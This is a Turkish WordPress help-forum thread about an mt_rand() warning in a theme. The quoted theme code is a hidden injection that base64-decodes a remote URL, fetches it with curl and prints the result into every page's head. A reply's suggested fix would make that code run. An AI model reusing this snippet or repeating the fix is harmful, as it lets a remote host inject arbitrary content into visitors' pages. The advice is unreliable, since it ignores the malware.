Merhaba,
Hosting transferi yaptım. Fakat bir önceki hostingde sorunsuz çalışan tema, ikinci hostingde hata verdi:
Warning: mt_rand() [function.mt-rand]: max(1) is smaller than min(96) in /home/arifhang/public_html/wp-content/themes/jarida/includes/class.php on line 1
Bu konuda biri yardım edebilir mi?
PHP Hatası (Warning: mt_rand() [function.mt-rand])
4
●624
- 27-03-2014, 14:26:44short_open_tag açık.Asimavi adlı üyeden alıntı: mesajı görüntüle
{ if (mt_rand(96,1) == 1) {function secc2_check() {if(function_exists('curl_init')) {$addressd=base64_decode("c3BhbWNoZWNrci5jb20vY2hlY2sucGhw");$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secc2_check');}} - 27-03-2014, 17:41:46Kimlik doğrulama veya yönetimden onay bekliyor.@Halka_;
if(mt_rand(96,1) == 1) { /* ... */ile devam eden kısmı şu şekildeif(mt_rand(1, 96) == 1) { /* ... */düzenleyebilir misiniz?
ayrıca @bknz: http://tr2.php.net/mt_rand